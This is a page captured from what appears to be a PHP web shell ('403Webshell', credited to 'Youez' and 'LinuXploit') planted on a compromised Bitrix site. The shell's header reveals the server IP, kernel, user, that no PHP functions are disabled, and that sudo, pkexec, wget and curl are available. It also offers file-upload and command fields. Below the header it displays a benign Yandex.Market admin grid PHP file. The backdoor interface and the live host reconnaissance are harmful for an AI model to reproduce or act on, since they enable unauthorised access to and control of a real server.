403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/component/tradinglog/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/component/tradinglog/gridlist.php
<?php
namespace Yandex\Market\Component\TradingLog;

use Bitrix\Iblock;
use Bitrix\Main;
use Yandex\Market\Component;
use Yandex\Market\Exceptions;
use Yandex\Market\Glossary;
use Yandex\Market\Reference\Concerns as GlobalConcerns;
use Yandex\Market\Trading;
use Yandex\Market\Catalog;
use Yandex\Market\Ui\Admin;
use Yandex\Market\Ui;
use Yandex\Market\Utils\ArrayHelper;

class GridList extends Component\Data\GridList
{
	use GlobalConcerns\HasMessage;

	private $calculatedFields;
	private $compoundFields;

	public function __construct(\CBitrixComponent $component)
	{
		self::includeSelfMessages();

		parent::__construct($component);

		$this->calculatedFields = new Component\Molecules\CalculatedFields([
			'ORDER_ID' => [
				'TYPE' => 'primary',
				'SELECTABLE' => false,
				'SETTINGS' => [ 'URL_FIELD' => 'ORDER_URL' ],
				'QUERY_FILTER' => function($value, $compare) {
					return [
						$compare . 'ENTITY_TYPE' => Trading\Glossary::ENTITY_ORDER,
						$compare . 'ENTITY_ID' => $value,
					];
				},
				'BATCH_LOADER' => function(array $rows) {
					return $this->loadRowsOrderId($rows);
				},
				'USES' => [ 'SETUP_TYPE', 'SETUP_ID', 'ENTITY_TYPE', 'ENTITY_ID' ],
			],
			'OFFER_ID' => [
				'TYPE' => 'primary',
				'SELECTABLE' => false,
				'SETTINGS' => [ 'URL_FIELD' => 'OFFER_URL' ],
				'QUERY_FILTER' => function($value, $compare) {
					return [
						'LOGIC' => 'OR',
						[
							$compare . 'ENTITY_TYPE' => Glossary::ENTITY_OFFER,
							$compare . 'ENTITY_ID' => $value,
						],
						[ $compare . 'ASSORTMENT.ELEMENT_ID' => $value ],
						[ $compare . 'ASSORTMENT.SKU' => $value ],
					];
				},
				'BATCH_LOADER' => function(array $rows) {
					return $this->loadRowsOfferId($rows);
				},
				'USES' => [
					'ENTITY_TYPE',
					'ENTITY_ID',
				],
			],
		], self::getMessagePrefix());
		$this->compoundFields = new Component\Molecules\CompoundFields([
			'SETUP' => [
				'TYPE' => 'compound',
				'FILTERABLE' => true,
				'FIELDS' => [
					'TRADING_SETUP' => [
						'TYPE' => 'setup',
						'NAME' => self::getMessage('FIELD_TRADING_SETUP'),
						'LINK_FIELD' => 'SETUP_ID',
						'SETTINGS' => [
							'DATA_CLASS' => Trading\Setup\Table::class,
							'NAME' => [ '[%s] %s%s', 'ID', 'CAMPAIGN_NAME', 'BUSINESS_NAME' ],
							'EDIT_URL' => Admin\Path::getModuleUrl('trading_edit') . '&id=#ID#',
						],
					],
					'CATALOG_SETUP' => [
						'TYPE' => 'setup',
						'NAME' => self::getMessage('FIELD_CATALOG_SETUP'),
						'LINK_FIELD' => 'SETUP_ID',
						'SETTINGS' => [
							'DATA_CLASS' => Catalog\Setup\Table::class,
							'EDIT_URL' => Admin\Path::getModuleUrl('catalog_edit') . '&id=#ID#',
						],
					],
				],
				'FILTER' => [
					'TRADING_SETUP' => [ 'SETUP_TYPE' => Glossary::SERVICE_TRADING ],
					'CATALOG_SETUP' => [ 'SETUP_TYPE' => Glossary::SERVICE_CATALOG ],
				],
			],
			'ENTITY' => [
				'TYPE' => 'compound',
				'FIELDS' => [
					'ORDER_ID',
					'OFFER_ID',
				],
				'FILTER' => [
					'ORDER_ID' => [ 'ENTITY_TYPE' => Trading\Glossary::ENTITY_ORDER ],
					'OFFER_ID' => [ 'ENTITY_TYPE' => [ Glossary::ENTITY_OFFER, Catalog\Glossary::ENTITY_SKU ] ],
				],
			],
			'DEBUG' => [
				'FILTERABLE' => false,
				'SORTABLE' => false,
				'FIELDS' => [
					'CONTEXT',
					'TRACE',
				],
			],
		], self::getMessagePrefix());
	}

	public function getDefaultFilter()
	{
		return
			parent::getDefaultFilter()
			+ Ui\Trading\Menu::businessFilter($this->getComponentParam('BUSINESS_ID'));
	}

	public function getFields(array $select = [])
	{
		$fields = parent::getFields();
		$fields += $this->calculatedFields->getFields();
		$fields += $this->compoundFields->getFields($fields);
		$fields = $this->injectFieldsEditBaseQuery($fields);
		$fields = $this->injectSetupFieldBusinessFilter($fields);

		if (!empty($select)) { $fields = array_intersect_key($fields, array_flip($select)); }

		return $fields;
	}

	private function injectFieldsEditBaseQuery(array $fields)
	{
		$businessId = $this->getComponentParam('BUSINESS_ID');

		if ((string)$businessId === '') { return $fields; }

		foreach ($fields as &$field)
		{
			if (isset($field['FIELDS']))
			{
				$field['FIELDS'] = $this->injectFieldsEditBaseQuery($field['FIELDS']);
				continue;
			}

			if (!isset($field['SETTINGS']['EDIT_URL'])) { continue; }

			$queryPosition = mb_strpos($field['SETTINGS']['EDIT_URL'], '?');
			$gluePosition = $queryPosition !== false ? mb_strpos($field['SETTINGS']['EDIT_URL'], '&', $queryPosition) : false;
			$queryString = http_build_query([ 'business' => $businessId ]);

			if ($gluePosition !== false)
			{
				$field['SETTINGS']['EDIT_URL'] =
					mb_substr($field['SETTINGS']['EDIT_URL'], 0, $gluePosition)
					. '&' . $queryString
					. mb_substr($field['SETTINGS']['EDIT_URL'], $gluePosition);
			}
			else
			{
				$field['SETTINGS']['EDIT_URL'] .= ($queryPosition === false ? '?' : '&') . $queryString;
			}
		}
		unset($field);

		return $fields;
	}

	private function injectSetupFieldBusinessFilter(array $fields)
	{
		if (!isset($fields['SETUP'])) { return $fields; }

		$filter = Ui\Trading\Menu::businessFilter($this->getComponentParam('BUSINESS_ID'));

		$fields['SETUP']['FIELDS']['TRADING_SETUP']['SETTINGS']['FILTER'] = $filter;
		$fields['SETUP']['FIELDS']['CATALOG_SETUP']['SETTINGS']['FILTER'] = $filter;

		return $fields;
 	}

	public function load(array $queryParameters = [])
	{
		$queryParameters = $this->compoundFields->queryParameters($queryParameters);
		list($queryParameters, $calculatedSelect) = $this->calculatedFields->queryParameters($queryParameters);

		$rows = parent::load($queryParameters);
		$rows = $this->clearNullCampaignId($rows);
		$rows = $this->calculatedFields->extendRows($rows, $calculatedSelect);

		return $rows;
	}

	protected function normalizeQueryFilter(array $filter)
	{
		$queryParameters = [ 'filter' => $filter ];
		$queryParameters = $this->compoundFields->queryParameters($queryParameters);
		list($queryParameters) = $this->calculatedFields->queryParameters($queryParameters);

		return parent::normalizeQueryFilter($queryParameters['filter']);
	}

	private function clearNullCampaignId(array $rows)
	{
		foreach ($rows as &$row)
		{
			if (empty($row['CAMPAIGN_ID']))
			{
				$row['CAMPAIGN_ID'] = null;
			}
		}
		unset($row);

		return $rows;
	}

	private function loadRowsOrderId(array $rows)
	{
		$orderRows = array_filter($rows, static function(array $row) { return $row['ENTITY_TYPE'] === Trading\Glossary::ENTITY_ORDER; });

		foreach (ArrayHelper::groupBy($orderRows, 'SETUP_ID') as $setupId => $rowsChunk)
		{
			$editUrls = $this->ordersEditUrl($setupId, array_column($rowsChunk, 'ENTITY_ID'));

			foreach ($rowsChunk as $key => $row)
			{
				$rows[$key]['ORDER_ID'] = $row['ENTITY_ID'];
				$rows[$key]['ORDER_URL'] = isset($editUrls[$row['ENTITY_ID']]) ? $editUrls[$row['ENTITY_ID']] : null;
			}
		}

		return $rows;
	}

	private function ordersEditUrl($setupId, array $accountNumbers)
	{
		try
		{
			$setup = Trading\Setup\Model::loadById($setupId);
			$orderRegistry = $setup->getEnvironment()->getOrderRegistry();
			$numberToExternalIdMap = $orderRegistry->suggestExternalIds($accountNumbers, 'ACCOUNT_NUMBER', $setup->getPlatform());
			$externalIdToNumberMap = array_flip($numberToExternalIdMap);
			$externalToIdMap = $orderRegistry->searchList($numberToExternalIdMap, $setup->getPlatform(), false);
			$idToExternalMap = array_flip($externalToIdMap);
			$result = [];

			foreach ($orderRegistry->loadOrderList($externalToIdMap) as $id => $order)
			{
				$externalId = $idToExternalMap[$id];
				$accountNumber = $externalIdToNumberMap[$externalId];

				$result[$accountNumber] = $order->getAdminEditUrl();
			}

			return $result;
		}
		catch (Exceptions\Trading\SetupNotFound $exception)
		{
			return [];
		}
	}

	private function loadRowsOfferId(array $rows)
	{
		$rows = $this->loadRowsOfferIdBySku($rows);
		$rows = $this->loadRowsOfferIdById($rows);

		return $rows;
	}

	private function loadRowsOfferIdBySku(array $rows)
	{
		$skuRows = array_filter($rows, static function(array $row) { return $row['ENTITY_TYPE'] === Catalog\Glossary::ENTITY_SKU; });

		foreach (ArrayHelper::groupBy($skuRows, 'SETUP_ID') as $catalogId => $rowsChunk)
		{
			$query = Catalog\Run\Storage\AssortmentTable::getList([
				'filter' => [
					'=CATALOG_ID' => $catalogId,
					'=SKU' => array_values(array_column($rowsChunk, 'ENTITY_ID', 'ENTITY_ID')),
					'>ELEMENT_ID' => 0,
				],
				'select' => [ 'ELEMENT_ID', 'SKU' ],
			]);

			$assortment = array_column($query->fetchAll(), 'ELEMENT_ID', 'SKU');
			$iblockElements = $this->iblockElements(array_values($assortment));

			foreach ($rowsChunk as $key => $row)
			{
				if (!isset($assortment[$row['ENTITY_ID']], $iblockElements[$assortment[$row['ENTITY_ID']]]))
				{
					$rows[$key]['OFFER_ID'] = $row['ENTITY_ID'];
					continue;
				}

				$elementId = $assortment[$row['ENTITY_ID']];
				$iblockElement = $iblockElements[$assortment[$row['ENTITY_ID']]];

				$rows[$key]['OFFER_ID'] = "[{$elementId}] {$iblockElement['NAME']}";
				$rows[$key]['OFFER_URL'] = $iblockElement['URL'];
			}
		}

		return $rows;
	}

	private function loadRowsOfferIdById(array $rows)
	{
		$offerRows = array_filter($rows, static function(array $row) { return $row['ENTITY_TYPE'] === Glossary::ENTITY_OFFER; });
		$offerIds = array_diff_key(array_column($offerRows, 'ENTITY_ID', 'ENTITY_ID'), [ 0 => true ]);
		$iblockElements = $this->iblockElements(array_values($offerIds));

		foreach ($offerRows as $key => $row)
		{
			if (!isset($iblockElements[$row['ENTITY_ID']]))
			{
				$rows[$key]['OFFER_ID'] = $row['ENTITY_ID'];
				continue;
			}

			$iblockElement = $iblockElements[$row['ENTITY_ID']];

			$rows[$key]['OFFER_ID'] = "[{$row['ENTITY_ID']}] {$iblockElement['NAME']}";
			$rows[$key]['OFFER_URL'] = $iblockElement['URL'];
		}

		return $rows;
	}

	/** @noinspection PhpDeprecationInspection */
	private function iblockElements(array $ids)
	{
		if (empty($ids) || !Main\Loader::includeModule('iblock')) { return []; }

		$result = [];

		$query = Iblock\ElementTable::getList([
			'filter' => [ '=ID' => $ids ],
			'select' => [ 'IBLOCK_ID', 'ID', 'NAME' ],
		]);

		while ($row = $query->fetch())
		{
			$result[$row['ID']] = [
				'URL' => \CIBlock::GetAdminElementEditLink($row['IBLOCK_ID'], $row['ID']),
				'NAME' => $row['NAME'],
			];
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit